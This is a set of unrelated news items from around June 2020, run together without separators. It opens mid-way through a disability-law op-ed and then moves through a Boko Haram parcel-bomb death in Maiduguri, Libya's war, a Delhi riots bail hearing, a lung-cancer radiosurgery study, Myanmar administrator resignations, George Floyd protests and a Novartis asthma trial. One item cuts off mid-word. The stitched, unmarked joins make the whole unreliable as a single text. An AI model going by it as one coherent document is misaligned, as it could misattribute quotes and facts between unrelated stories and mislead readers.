Second, YouTube personalities Myka and James Stauffer ignited a social media firestorm when they announced their decision to rehome Huxley, their 4-year-old autistic son adopted from China. The Stauffers explained to their YouTube followers that the international adoption service did not tell them that Huxley had special needs when they adopted him and, they said that though they provided therapies for him, Huxleys needs were more than they could deal with.

Some followers criticized the family for using Huxley as a social media prop and then discarding him when he manifested typical behaviors associated with his disability. Others defended and praised the Stauffers for having the courage to make such a heartbreaking and hard decision. While adoptive families should be afforded some latitude to define and determine what a fit might look like to maximize the potential for success, these discussions should focus on balanced, evidence-based information and not on misperceptions about the quality of life a child with a disability (and the childs family) will have in the future. For example, although people without disabilities would predict that the lives of those with disabilities are unhappy, research shows that people with disabilities report levels of happiness similar to those of nondisabled people.

Third, and perhaps the most literal deployment of the disability alibi, are the well-funded nursing facility lobbyists who have convinced 20 states to limit the legal liability of long-term care facilities for COVID-related harm. This request for safe harbor comes at a time when more than 28,000 people  a majority older adults and people with disabilities  have died of COVID-19 in these care facilities. To put this in perspective, this number represents almost a third of the countrys overall pandemic losses. The prospect of granting immunity to these facilities without legal process for those who bear the disproportionate costs of the pandemic shines an industrial-sized spotlight on the devaluation of disabled lives.

This is not the first time America has reached for the disability alibi in this pandemic. Consider, for example, health care rationing policies that explicitly excluded some people with cognitive disabilities from receiving life-saving treatment based on stereotypes about their quality of life relative to nondisabled people.

Disability advocates responded to national reports of shortages of ventilators and hospital beds by swiftly filing legal complaints with the U.S. Department of Health and Human Services to challenge rarely questioned (and well-defended) bioethics principles underwriting the rationing policies. Close examination of these arguments reveals an eerie similarity to the reasoning proffered by Supreme Court Justice Oliver Wendell Holmes in his infamous 1927 majority opinion upholding the constitutionality of Virginias compulsory sterilization law. Justice Holmes in Buck v. Bell reasoned that the public welfare may call upon the best citizens for their lives  a reference to soldiers  and, therefore, it would be strange if it could not call upon those who already sap the strength of the State for these lesser sacrifices, often not felt to be such by those concerned  a reference to people with disabilities.

While state rationing policies do not reflect the same vitriolic language on their face, the notion that disabled lives can and should be sacrificed for a greater public good remains true.

The presence of disability should never be a legal or moral alibi, an excuse for unethical or illegal actions. George Floyd and the countless others who have died at the hands of those charged with protecting them deserve better, they deserve justice. The differential treatment of people with disabilities on the basis of disability  in adoption, rehoming, rationing medical care, or mercy killing  is immoral and, in many cases, illegal. The Americans with Disabilities Act, the civil rights act for people with disabilities, turns 30 years old in less than two months. The ADA offers legal remedies for discrimination in employment, public services, and places of public accommodations. Yet the ADAs promise of meaningful equality remains unfulfilled in large part because of widespread misconceptions about disability.

The death of George Floyd, too, despite what you will hear from reports and medical experts during Officer Derek Chauvins trial, should not be excused because America, once again, accepts the disability alibi.

Jasmine E. Harris is a Professor of Law and Martin Luther King, Jr. Hall Research Scholar at the University of California, Davis. Her research focuses on disability and equality law.
A nine-year-old boy was on Monday killed and his teenage brother injured by an explosive device they had taken to an internally displaced persons (IDP) camp in Maiduguri, Borno State for their father.

The kids had taken the device from Bama on the instruction of their father who is a suspected member of Boko Haram.

The incident has exacerbated residents concern about their safety.

Bama, the second largest town in Borno, is 72 km from Maiduguri. It is one of the local government areas in the state worst affected by the Boko Haram insurgency.

Many young people in the town were believed to have subscribed to the Boko Haram ideology, the reason the community was displaced for over five years after several attacks by Boko Haram until the military began to liberate it in 2018.

Last year, the state government began a gradual return of the civil populace while rebuilding of the entire community.

Though many families that had been living in various IDP camps in Maiduguri have returned to Bama, some male returnees who are not sure of their safety left their wives and children behind in IDP camps in Maiduguri.

With the recent opening of roads connecting other Borno communities with Maiduguri, residents can now easily travel to visit their relatives outside the state capital.

Last week, an unidentified 13-year-old boy and his younger brother, aged nine, who were living with their mother and grandparent at an IDP camp in Maiduguri, went to visit their father in Bama. On their way back to Maiduguri, after some days with their father, he gave them a parcel for their mother in Maiduguri.

Sources said the boys delivered the parcel to their mother, who kept it in her room.

The injured grandmother on her hospital bed.

Witnesses said the mother later received a call from her husband to confirm if the message was safely delivered.

Unfortunately, the boy that delivered the parcel became curious about the parcel they helped their father to transport from Bama to the Farm Centre IDP camp in Maiduguri, said Danbatta Bello, a senior official of the Civilian-JTF who is familiar with the incident.

Mr Danbatta said the boy sneaked into the room to search the parcel where he found concealed in it a cold piece of metal that looked like a toy.

He brought the metal out, not knowing that it was explosive and he and his younger sibling began to play with it in the presence of their grandmother.

Mr Danbatta who was among the personnel investigating the incident said the piece of steel suddenly exploded as the boys were attempting to use a stone to open its aluminum covering.

The nine-year-old boy died instantly while his grandmother and two other siblings survived with serious injuries, Mr Danbatta who doubles as spokesperson of the Civilian-JTF told PREMIUM TIMES.

Investigation

The mother of the boys reportedly said she was not at home when the explosion occurred.

But she confirmed that she received a message from her husband from Bama even as she denied knowledge of the content of the parcel, said the Civilian-JTF official.

However the grandmother of the child confirmed to us from her hospital bed that she overheard her daughter receiving a call from the husband who asked if she had received the parcel, and then told her to wait for his further instruction.

A source at Farm Center IDP camp who was also familiar with the incident said the explosion was massive and could have been more fatal had it occurred in a crowded place.

Mr Bello said the father of the child later came to Maiduguri upon hearing the calamity that befell his family.

He is denying knowledge of the whole incident, but we have arrested him and he is currently under investigation, he said.

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He has not convincingly disproved the testimony of the childs grandmother who said she overheard him telling his wife to await his further instruction concerning the delivered parcel.

Mr Danbatta said security officials have become suspicious of the incident as it happened on the same day two other suicide bombings were carried out by females in Konduga town.

One of the female suicide bombers succeeded in killing herself and a civilian, while the second suicide bomber died alone after her suicide belt went off, Danbatta said.

Cannister of the exploded IED

Reacting to the recent explosion incidents, a local non-governmental organisation, Kalthum Foundation for Peace (KFP), called on the government to raise the bar in the monitoring of the traffic coming in or leaving the state.

While calling on parents to watch over their children more than ever before, so that they wont end up, directly or indirectly, as recruits of the insurgents, we equally beseech the government to deploy technology-based surveillance in detecting the influx of human-borne explosive devices.

Despite renewed claims by the military that government troops are winning the war, Boko Haram and their ISWAP collaborators have continued to carry out attacks on soft targets around the state.

The Boko Haram insurgency started in 2009 when the Islamic group decided to pick arms with the wild motive of setting aside the constitutional democracy to enforce Sharia rule.
A recent report by the UN Security Council mentioning about Pakistan-based terror groups sending thousands of terrorists to Afghanistan is a reiteration of what Pakistan Prime Minister Imran Khan publicly "confessed", official sources said on Friday.

The UN report said that around 6,500 Pakistani nationals were among foreign terrorists operating in Afghanistan and that Pakistan-based terror groups Jaish-e-Mohammad and Lashkar-e-Taiba are engaged in trafficking fighters into that country.

The sources said that the international community is well acquainted with the reality that Pakistan is the "nerve centre of terrorism".

"The Ministry of Foreign Affairs of Pakistan would do well to recall that their prime minister admitted last year that Pakistan still hosts 30,000 to 40,000 terrorists," said a source.

In a dramatic admission, Khan, during a visit to the US in July last year, said that about 30,000-40,000 "armed people", who have been trained and fought in some part of Afghanistan or Kashmir, were in Pakistan.

The sources said Pakistan's attempts to create a "divide" in the traditional and friendly relations between the people of India and Afghanistan will not succeed.

After the report by the Analytical Support and Sanctions Monitoring Team was submitted to the UN Security Council, India said the findings vindicated its long-standing position that Pakistan remained the epicentre of international terrorism.

Pakistan on Thursday accused India of attempting to mislead the international community on the matter.

"The UN report has only reiterated what the Prime Minister of Pakistan has already confessed. Instead of casting aspersions on the Report, Pakistan should introspect and put an end to any kind of support for terrorism emanating from territories under its control," said a source.

"Pakistan houses one of the largest numbers of UN-designated terrorists and terrorist entities. Its fallacious attempts to point fingers at others cannot deflect attention from the facts on the ground," the source said. PTI MPB ZMN
HPV education, cancer screenings and sunscreen dispensers are just a few of the programs Wyoming Cancer Resource Services Region V Coordinator wants to focus on in the next two years.

This is the second time Memorial Hospital of Sweetwater Countys Sweetwater Regional Cancer Center has been awarded the two-year grant, which begins in July.

The Sweetwater Regional Cancer Center, in conjunction with the Memorial Hospital Foundation, was recently awarded a grant totaling $178,200 to host the Wyoming Cancer Resource Services Regional Coordinator Program through the State of Wyomings Dep...
Libya's UN-recognized govt. takes full control of Tripoli, suburbs from Haftar's forces

Iran Press TV

Thursday, 04 June 2020 1:34 PM

Libya's UN-backed government says its forces have managed to fully regain control of the capital, Tripoli, and its suburbs, after being besieged for more than a year by forces loyal to renegade General Khalifa Haftar.

Since 2014, two rival seats of power have emerged in Libya, namely the internationally-recognized government of Prime Minister Fayez al-Sarraj, known as the GNA, and another group under Haftar's command and based in the eastern city of Tobruk, which is supported militarily by forces loyal to him and is collectively known as the so-called Libyan National Army (LNA).

The strongman, supported by the United Arab Emirates, Egypt, and Jordan, launched a deadly offensive to capture Tripoli, the seat of the GNA, in April last year. His forces, however, haven't been able to advance past the city's outskirts.

In a statement on Thursday, the GNA's military operations room said that it now had control over all borders of the Tripoli city administrative area.

"Tripoli has been liberated and fully secured, and we have reached the administrative borders of the city of Tarhuna, southeast of the capital," said Mustafa al-Majei, the spokesperson of the Volcano of Rage Operation.

"The military vehicles of putschist Khalifa Haftar's militia have been seen withdrawing from Tarhuna toward the city of Bani Walid," located 180 kilometers (112 miles) southeast of Tripoli, he added.

The all-out Volcano of Rage operation, part of the larger Operation Peace Storm, was launched by GNA forces in April to liberate Tarhuna city, which was Haftar's main foothold in west Libya. The GNA launched Operation Peace Storm on March 26 to counter Haftar's attacks on Tripoli.

Separately the GNA's deputy defense minister Salah Namrush said, "Our forces are continuing their advance, chasing the terrorist militias from the walls of Tripoli."

"Some of their commanders are fleeing towards Bani Walid airport," in the interior 170 kilometers (110 miles) southeast of the capital, he added on Facebook.

Meanwhile, Reuters quoted an unnamed military source from the LNA as saying that Haftar's forces had completed their withdrawal on Thursday from Tripoli's districts of Ain Zara, Abu Salim and Qasr bin Ghashir toward a town near Tarhuna.

The Thursday development came just a day after the GNA troops managed to liberate Tripoli's International Airport, which has been closed for the past six years and was seized by Haftar's forces last year, when he waged an offensive against the capital.

These military gains were made ahead of what appeared to be moves toward talks on a ceasefire between the two sides, after months of gains to oust Haftar from much of his foothold in the northwest.

On Monday, the UN said both sides had agreed to resume ceasefire negotiations, but warned that a flood of weapons and armed men into Libya in defiance of an arms embargo clearly threatened a major new escalation, an apparent reference to what Ankara is doing.

In recent months, Ankara, a close ally of Tripoli, has significantly helped the GNA push back Haftar's forces and take back multiple areas by providing the GNA with logistics and military equipment.

Furthermore and in a controversial move, Ankara has also sent thousands of Turkish-backed Syrian militants there to allegedly fight alongside the GNA fighters against Haftar's forces.

Erdogan vows support for GNA against pro-Haftar forces

Additionally on Thursday, Sarraj arrived in Turkey to meet with the country's President Recep Tayyip Erdogan in Ankara, as the two allies seek to lock in recent gains against Haftar.

During a joint press conference with Sarraj following their meeting behind closed doors in Ankara, Turkish President Recep Tayyip Erdogan pledged increased support for the GNA fighting Haftar's forces.

"History will judge those who cause bloodshed and tears in Libya by supporting putschist Haftar," Erdogan said, stressing that Turkey would stand by the GNA and continued fighting on all international platforms for a "just and legitimate solution."

Erdogan also called on the international community to stop Haftar from illegally "selling" Libya's oil, which rightfully belongs to the Libyan people.

The GNA prime minister, for his part, expressed his gratitude to Ankara "for its historic and brave stance on Libya."

"We will continue our struggle until we eliminate the enemy in Libya," Sarraj added, referring to the ongoing fight between his government and Haftar's forces.

"The Libyan government will not allow negotiations in next stages with warlord Khalifa Haftar," he stressed.

Multiple international attempts to bring about peace between the two warring sides in Libya have failed.

Libya plunged into chaos in 2011 when a popular uprising and a NATO intervention led to the ouster of long-time dictator Muammar Gaddafi.

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New Delhi, June 5 : During the hearing on the bail application of an accused in the northeast Delhi riots case, Delhi Police's Crime Branch informed the court that the entire investigation team is in home quarantine and cannot appear before it.

Additional Session Judge Tyagita Singh was hearing the bail plea moved by 37-year-old Sirajuddin on June 3 when Additional Commissioner of Police apprised the court that the entire team of Investigating Officer was home quarantined and cannot appear.

After hearing the contentions, the court directed the officials of the bail section to put up the case for fresh reply from the Investigating Officer through e-mail and to send a link for meeting online to all concerned parties through their respective email IDs for online meeting on June 6.

Sirajuddin was arrested in connection with the murder of a 26-year-old law student Rahul Solanki who was shot dead on February 24 when he had stepped out to buy milk.

A case was registered against him and six others for murder, rioting, unlawful assembly, promoting enmity between different groups, outrage religious feelings, theft, and mischief in connection with the case.

Sirajuddin's counsel Abdul Gaffar had recently sought his bail on the grounds that the prosecution does not have any material evidence to form a prima facie case against him.

"It is evidently clear that the arrest of the accused is nothing but a typical practice of police in riot situations where they detain innocent people just to showcase the huge number of arrests made by them," the bail plea stated.

Gaffar further added that there are no reasonable apprehensions that his client would indulge in tampering of evidence, influence witnesses or abscond.
ISLAMABAD, Jun 5 (UrduPoint / Pakistan Point News - 5th Jun, 2020 ) :A chartered flight of Global Aviation Friday left for Islamabad from Madagascar carrying 111 Pakistanis with most of them being stranded, following the suspension of flights operation in the aftermath of COVID-19 pandemic.

Fifty seven Pakistani passengers boarded from South Africa and 54 from Madagascar, said a press release received here.

The chartered flight was arranged by the joint efforts of the high commissions of Pakistan for South Africa and Mauritius.

The passengers were seen off at airports by the representatives of the two Pakistani high commissions.

The departing passengers thanked the government of Pakistan for enabling their return by carrying out this complex flight operation.

The high commissions of Pakistan for South Africa and Mauritius acknowledged the support of the governments of South Africa and Madagascar for allowing this chartered flight.

They also appreciated the support of l Nusrah Foundation (a South African philanthropic organization) and local Pakistanis in Madagascar who evinced immense leadership qualities by continually liaising with all involved, in the repatriation of stranded Pakistanis.
The international First-line Radiosurgery for Small-Cell Lung Cancer (FIRE-SCLC) analysis led by University of Colorado Cancer Center researchers and published today in JAMA Oncology details clinical outcomes for 710 patients with brain metastases from small cell lung cancer treated with first-line stereotactic radiosurgery (SRS), without prior treatment with whole-brain radiation (WBRT) or prophylactic cranial irradiation (PCI).

The study represented a substantial research effort including international collaborators from 28 individual centers and one prospective clinical trial from Asia, North America, and Europe. Following first-line SRS, the outcomes were encouraging overall with a median time to brain progression of 8.1 months and a median overall survival of 8.5 months.

The investigators also compared these SRS results with a control group of 219 patients treated with first-line WBRT for brain metastases, which is the current standard of care for small cell lung cancer. Importantly, no overall survival benefit was observed with WBRT compared to SRS. In fact, the survival outcomes were slightly better with SRS even after matching for baseline characteristics. The authors were careful to note, however, that the observed differences in survival in favor of SRS could be related to uncontrolled treatment selection factors in the setting of a retrospective analysis.

"As expected, whole brain radiation was superior to focused treatment with radiosurgery in lengthening the time to disease progression in the brain. However, the improvement in brain control with whole brain radiation did not appear to translate into an improvement in overall survival," says Chad Rusthoven, MD, assistant professor in Radiation Oncology at the University of Colorado Cancer Center, the paper's lead author.

The study, with senior author Tyler Robin, MD, is the largest analysis of outcomes with first-line SRS for brain metastases from small cell lung cancer, offering important descriptive and comparative data on this potential treatment paradigm.

"Although SRS has become the preferred treatment strategy for limited numbers of brain metastases arising from many cancer types due to improved quality of life and cognitive preservation compared to WBRT, small cell lung cancer remains an important exception where WBRT has remained the standard of care for limited and even solitary brain metastases. The primary reason for this is that small cell lung cancer patients where excluded from the randomized trials that established SRS," Robin says.

Because small cell lung cancer patients were excluded from the landmark prospective trials evaluating SRS, understanding of SRS for small cell lung cancer has lagged behind other cancers, including non-small cell lung cancer.

"Small cell lung cancer is known to have an increased propensity for spread to the brain compared to many other cancers. Historical caution regarding first-line SRS for small cell lung cancer has generally been related to concerns that omission of WBRT could result in rapid disease progression and decreased survival times. Thus, it is an important observation that, in this large international study, the omission of WBRT in favor of first-line SRS did not result in diminished overall survival," Rusthoven says.

This analysis, which may represent the strongest data reported thus far in support of first-line SRS for small cell lung cancer, comes at a dynamic time in the evolution of small cell lung cancer management.

"Paradigms for the treatment of small cell lung cancer are evolving. In recent years, we have seen the integration of immunotherapy into small cell lung cancer management, a decrease in the administration of WBRT, and national guideline updates recommending routine brain MRI surveillance for all patients. These changes may be expected to increase the identification of small cell lung cancer patients with limited brain metastases who may be candidates for first-line SRS," Robin says.

The study also provided detailed analyses of outcomes with SRS by the number of brain lesions treated. Patients treated with SRS for a single brain metastasis experienced the best brain control and overall survival outcomes. After that, the clinical outcomes for patients with 2-4 vs 5-10 brain metastases where very similar, whereas patients with 11 or more metastases were seen to have the shortest time to brain progression and overall survival.

The authors note that prospective trials evaluating the role of first line SRS for small cell lung cancer patients are needed to confirm the encouraging results observed in this retrospective study. In the meantime, this large international analysis provides important descriptive and comparative data on first-line SRS as a potential emerging treatment option for brain metastases in carefully selected small cell lung cancer patients.

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Dozens of village and ward administrators in a township in western Myanmars war-scarred Rakhine state submitted their resignations on Friday out of fear of arbitrary arrest by the Myanmar military, following the recent detentions of three of their colleagues on terrorism charges.

Government soldiers have stepped up the seizure and arrest of village officials and other civilians in the state amid the 17-month armed conflict against the Arakan Army (AA), charging them under Myanmars Counter-Terrorism Law for allegedly having ties to the outlawed rebel ethnic force.

Fifty-one village and ward administrators in Myebon township, one of several areas in northern Rakhine hit by heavy fighting, filed resignation letters at the township administration office, some of the officials told RFA. The township has 14 wards and 59 village tracts.

We dont live in the conflict area, said one official in a section of the township, who requested anonymity out of concern for his safety. We dont have connections to AA troops. We never interact with terrorist organizations, and we dont want them here.

But if the authorities keep arresting us on grounds of suspicion [for having alleged links to the AA], we will not able to perform our administrative functions, he added. Thats why we are resigning.

On Wednesday, military and police forces arrested Aung Than, a ward administrator from Myebon town, and villager Tin Tun believing them to have ties to the AA, officials said.

Four days earlier, security forces in Myebon township arrested Maung Zaw, administrator of A-ngu Thit village, and Kyaw Myint, administrator of Ywa Thit Kay village, and charged them under two sections of the Counter-Terrorism Law for allegedly having connections to Arakan forces.

Family members of the two officials, who were remanded by the Myebon Township Court on Wednesday, say the accusations against them are false.

Myebon township lawmaker Pe Than said he believes that authorities will prosecute the pair.

Yesterday, the ward administrator from the Thae Tan area was asked to sign as witness to the discovery of two cell phones and documents as evidence from the two men, he said. I think the authorities are working on charging them.

RFA could not reach Myebon township administrator Zarni Kyaw for comment.

Htay Maung, deputy director of Rakhine state's administrative department, said he did not know about the arrests, while Aung Than Zaw, commander of the Myebon Township Police Station, said he could not respond to media inquiries over the phone.

Rule of law weakened

Pe Than said Fridays mass resignation of administrators would weaken the rule of law and order in the region.

So far, three administrators have been arrested, and it has intimidated other village administrators, he said. Some are fleeing from their homes. If several administrators quit, no one will perform the administrative functions, and it will weaken the rule of law.

We need these administrators to secure peace and stability, he added. Their resignations, caused by fear, are not good for the region or for the government.

Local residents said that Myanmar soldiers who have been posted to the police station in Myebon town since May have begun interrogations of administrators and others in the area, though the military was never previously in the region.

Myanmar military spokesman Brigadier Gen Zaw Min Tun told RFA on Wednesday that the interrogations of Htay Maung and Aung Than Zaw revealed that they had links to the AA, though a spokesman from the Arakan force denied it.

Scores of administrators resigned from their positions in Rakhines Kyauktaw, Rathedaung, Mrauk-U, and Minbya townships in 2019, following the arrests of administrative officials amid the armed conflict.

Reported by RFAs Myanmar Service. Translated by Ye Kaung Myint Maung. Written in English by Roseanne Gerin.
Sydney Aboriginal leaders say nothing will stop them marching in a Black Lives Matter protest despite it being deemed unlawful by the courts after a last minute move by police to block the rally over fears of coronavirus transmission.

Thousands of people were expected to attend the rally at Sydneys Town Hall on Saturday, protesting Aboriginal deaths in custody and the alleged murder of African American George Floyd in Minneapolis last month.

Nathan Moran, CEO of the Metro Local Aboriginal Land Council, and Kyah Patten will be marching in Saturday's Black Lives Matter protest. Credit:Dominic Lorrimer

And while NSW Premier Gladys Berejiklian on Thursday said she never wanted to take away the right of people to demonstrate their ability to protest, by Friday afternoon she had labelled the rally illegal after several senior ministers publicly voiced their concerns.

She agreed for NSW Police chief Michael Fuller to apply to the Supreme Court for an injunction to deem the rally illegal.
Nobel laureate, Wole Soyinka, says he does not believe President Buhari is the one in charge of the affairs of the nation. Soyinka who has never hidden his displeasure about the Buhari-led government, said this when he spoke in a fresh interview with PlusTV Africa.



While reacting to the open letter the former military administrator to Kano state, Umar Dangiwa, wrote to the president in which he accused him of appointing only persons from his region into his government, Soyinka said

First of all, I was appalled by the silence that followed this revelation. I think those who are responsible for this criminal lopsidedness should be punished. It is not sufficient just to discuss it. Its criminal.



I have said this before. I dont believe there is really anybody in charge in Aso Rock. Im sorry to say this. Ive been studying the trend over the past year and a half and I believe this president is not in charge of this nation, in so many aspects and directions. Im convinced hes not really and totally with it.



Its so serious. It is not the fact alone, we know the history of this. We know what it has caused the nation and we know it isnt over yet. And you say are launching an enquiry. Thats not enough. This man is not in charge. he said









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
Rapper Kanye West attends the WSJ Magazine 2019 Innovator Awards at MOMA in New York City, on Nov. 6, 2019. (Angela Weiss/AFP via Getty Images)

Kanye West Donates $2 Million, Covers College Tuition for George Floyds Daughter

Kanye West has donated $2 million to the families of Ahmaud Arbery, Breonna Taylor, and George Floyd, with part of the fund going towards the education of Floyds daughter.

The American rappers donation will include funding for struggling black-owned businesses in his Chicago hometown and other cities across the United States, and will help cover legal fees for both Arberys and Taylors families.

A representative for West told CNN that the college tuition for Floyds 6-year-old daughter will be fully covered by a 529 education plan.

Kentucky medical worker Breonna Taylor, 26, was killed in her home on March 13 when law enforcement officers executed a no-knock drug warrant after midnight. Taylors boyfriend, Kenneth Walker, fired a handgun, which he legally owned, believing that the Louisville home he and Taylor shared was being broken into.

In the confrontation, a police officer was struck by a round. Police returned fire, hitting Taylor eight times, resulting in her death. No drugs were found in the home. Her case is currently under investigation by the FBI.

The Department of Justice (DOJ), meanwhile, is investigating the February murder of 25-year-old Ahmaud Arbery near Brunswick, Georgia, as a hate crime.

Arbery was fatally shot on a residential street on Feb. 23 as he ran through the small Georgia neighborhood. Three men were arrested in connection with Arberys death last month after video footage of the incident emerged on May 5.

Community activist and onetime mayoral candidate JaMal Green Chicago, who organized the protest with Chicago Public Schools students, said that West, 42, attended the Thursday protest to show solidarity with Floyd and to support their calls for Chicago Public Schools to terminate a contract with the Chicago Police Department for police at schools. Theyre asking for schools to prioritize funding for therapists, extracurricular activities, and restorative justice.

Floyd was a 46-year-old black man who died last week in police custody in Minneapolis after an officer kneeled on his neck for nearly nine minutes.

A widely circulated video showed Floyd lying face-down on the pavement and handcuffed, as an officer was seen kneeling on the mans neck for nearly 9 minutes. Meanwhile, the footage showed Floyd telling officers that he couldnt breathe before his body went motionless.

According to a Minneapolis Fire Department report (pdf), Floyd was unresponsive and pulseless when he was being transported into an ambulance by paramedics from the site of his arrest to the hospital.

The police officer who was seen kneeling on the mans neck, Derek Chauvin, on Tuesday had his charges upgraded from third-degree murder, to second-degree murder charges. Under Minnesota law, second-degree murder is defined as when a person causes the death of another person with intent without premeditation.

The three other police officers involved in the arrest have since been fired, and have been charged with aiding and abetting his murder, the Minnesota Attorney Generals Office revealed Tuesday.

The Justice for George Floyd/CPD out of CPS demonstration West joined was on the citys South Side on Thursday evening, and was one of two taking place across the Chicago.

Green posted to Facebook, Man Kanye called me yesterday and said he wanted to pop up at a protest. He wanted to just blend in. He donated 3 million to George Floyd family today. Regardless of how you feel about him, I appreciate him for his good deed and marching with young people to end CPDs contract with CPS!
Officers from the Los Angeles Police Department run to formation during a march over the death of George Floyd, an unarmed black man, who died after a police officer kneeled on his neck for several minutes, in front of the Los Angeles City Hall in Los Angeles, Calif. on June 1, 2020. (Frederic J. Brown/AFP via Getty Images)

Amid Protests, Students Demand Universities Cut Ties With Police

In the wake of nationwide unrest sparked by the death of George Floyd in police custody, college students are calling on administrators to cut ties with local police, a demand that is largely left unfulfilled.

The call to end relationships with police has increased since the University of Minnesota agreed to break most of its partnerships with the Minneapolis Police Department. The university, in response to a student-led petition, said it would no longer contract the department for additional support at large events or specialized services.

We have lost interest in discussion, community conversations, read a statement posted on Twitter by Jael Kerandi, the universitys first African American student body president. We no longer tolerate the ineffective, inconsistent bias training that rarely serves as more than a fig leaf.

Similar petitions are circulating at the University of Iowa and Ohio, Georgetown, and Temple Universities.

At New York University (NYU), multiple graduate student organizations issued a statement calling for the university to cut ties with and prevent the New York City Police Department (NYPD) from operating on the universitys campus. An online petition urging NYU to follow the lead of the University of Minnesota while accusing NYPD of militarizing the peaceful protests and inciting violence has gained over 12,000 signatures towards its 15,000 goal.

In a statement to student newspaper Washington Square News, NYU spokesman John Beckman said the universitys own security personnel are neither peace officers nor sworn officers, meaning that they are unarmed and lack law enforcement powers, such as making arrests. Therefore, NYU depends on the NYPD to respond to serious emergencies or crimes, indicating it is unlikely this relationship will be severed.

So if someone has committed a crime against someone in our communitylets say a robberywe contact the NYPD to respond to and investigate the crime, said Beckman. Our officers are not armed; if there is a situation that involves an armed personsay, an active shooterwe would turn to the NYPD.

A similar demand has been rejected at the University of Louisville, Kentucky. In a letter to the Black Student Union, university president Neeli Bendapudi said the university police department will not end its relationship with the Louisville Metro Police Department (LMPD).

Your request for us to immediately terminate our relationship with LMPD would not make our campus or its constituents safer, and it would be an insufficient answer to a very complex problem, Bendapudi wrote. The harder work in a necessary partnership is to change, mold and evolve the partnership and the partner to best facilitate the universitys need without compromising our values.
It's been weeks of unrest.

In the midst of a coronavirus pandemic that has killed more than 100,000 people in the U.S., protests have spilled out onto the streets nationwide in response to the killing of an unarmed black man in Minneapolis.

But not everyone, Oregon State University, is bearing the weight of this trauma equally.

"The killing of George Floyd, repeated acts of police brutality against the black community, and the disproportionate impacts of the COVID-19 pandemic on people of color: this is what systemic racism looks like," Edward Feser, OSU Provost and Executive Vice President said Wednesday night in a statement emailed to the campus community.

In Oregon, people of color continue to be disproportionately impacted by COVID-19 with 33% of Hispanics in the state testing positive for the virus despite making up just 13% of the population. In comparison, white residents accounted for 49% of the state's caseload while making up more than 85% of the total population. Black people account for 3% of the infection rate but only 2% of the population.

Statewide, protests against police brutality and institutional racism have broken out despite federal pressure to stop demonstrating.

"Blacks, African-Americans and other people of color live this tragedyand are called upon to be the central agents in fighting itevery day," Feser wrote. "Those of us who identify as white and who believe ourselves allies in the fight against racism have the luxury of engaging in times and places of our own choosing, when we are able to muster the attention and energy from other concerns and causes, the foresight and understanding, or the courage. That too is what systemic racism looks like."

Feser said that Oregon State University faculty is asked to exercise additional care and flexibility in the coming weeks and extend support to students and faculty of color.

In his statement, Feser asks the university community to listen to black students, faculty and the community of color as well as lend their voices to the challenge of systematic racism.

"As teachers, we oversee the progress of our students," Feser said. "These are trying times for them and they meet adjustments in how they meeting their responsibilities...please allow appropriate flexibility in the form and timing of assignments, final exams and other requirements," he said, adding, "It is true that students must meet their academic responsibilities; yet, current circumstances warrant flexibility in how they meet those responsibilities."

On Thursday, university spokesperson Steve Clark said that counseling was available through the university and additional resources were available at the school's cultural centers.

Noting that the last few weeks have been challenging, but not equally challenging for all, Feser said, "Many of us experience privilege and safety simply by the virtue of the color of our skin, some do not... Our black students, faculty and staff are hurt, grieving, frustrated and angry. What is playing out in our cities and in our mediayet again stark evidence of the creeping slowness by which our society is coming to grips with what it is and what it facesis all too viscerally familiar.

"Yet our black colleagues and students continue to work, teach, conduct research, serve Oregon's communities, attend to their families and friends and learn. Their bravery and resilience are humbling and an example for everyone."
Once-daily Enerzair Breezhaler (QVM149; IND/GLY/MF) met primary endpoint, demonstrating non-inferiority to a free combination of twice-daily Sal/Flu plus once-daily tiotropium (Tio), in improving quality of life in people with uncontrolled asthma1.

Among secondary analyses, improvements in lung function, asthma control, health status, and a reduction in moderate exacerbations were observed with once-daily high-dose IND/GLY/MF compared to a free combination of high-dose Sal/Flu plus Tio 1 .



. IND/GLY/MF recently received a positive opinion from the European Medicines Agency's Committee for Medicinal Products for Human Use (CHMP) and is currently under regulatory review in multiple countries.



If approved, once-daily IND/GLY/MF will be the first LABA/LAMA/ICS fixed-dose combination for patients whose asthma is uncontrolled with LABA/ICS treatment and could provide an effective and convenient alternative to the current standard-of-care regimen.

Basel, June 5, 2020 - Novartis today announced that full results from the Phase IIIb ARGON study were published online in Respiratory Medicine. These results show that once-daily treatment with single inhaler, high- and medium-dose Enerzair Breezhaler (QVM149; indacaterol acetate, glycopyrronium bromide and mometasone furoate [IND/GLY/MF]) demonstrated non-inferiority to a free combination of twice-daily, high-dose salmeterol xinafoate/fluticasone propionate (Sal/Flu) plus once-daily tiotropium (Tio), delivered in two different devices, in improving quality of life in people with uncontrolled asthma1. Among secondary analyses, improvements in lung function, asthma control, health status, and reductions in moderate exacerbations were observed with high-dose once-daily IND/GLY/MF compared to high-dose Sal/Flu plus Tio1.

"Today, over 45% of patients at GINA Steps 4 and 5 remain uncontrolled, despite current therapy, demonstrating the need for additional treatment options in this patient population," said Assistant Professor Christian Gessner, Head of POIS Leipzig Study Centre and Guest Doctor at Universitat Leipzig. "The ARGON study shows that once-daily IND/GLY/MF improves quality of life and, if approved, could provide an effective and convenient treatment for patients whose asthma is uncontrolled with LABA/ICS treatment."

The primary endpoint of the study was met, with both high- and medium- doses of IND/GLY/MF demonstrating non-inferiority in change from baseline in Asthma Quality of Life Questionnaire (AQLQ) score (high: 0.073; medium: -0.038; both p<0.001)1.

"Novartis is reimagining respiratory medicine by developing innovative, patient-focused medicines such as IND/GLY/MF that address areas of significant unmet clinical need and improve symptom control and quality of life for people with asthma," said Dominic Brittain, Respiratory Global Program Head, Novartis Pharmaceuticals. "The ARGON study results show the potential benefits of this once-daily, single inhaler, LABA/LAMA/ICS treatment option in patients with uncontrolled asthma. These data build on the clinically meaningful improvements in lung function and reduction of exacerbations observed for high-dose IND/GLY/MF in the IRIDIUM study."

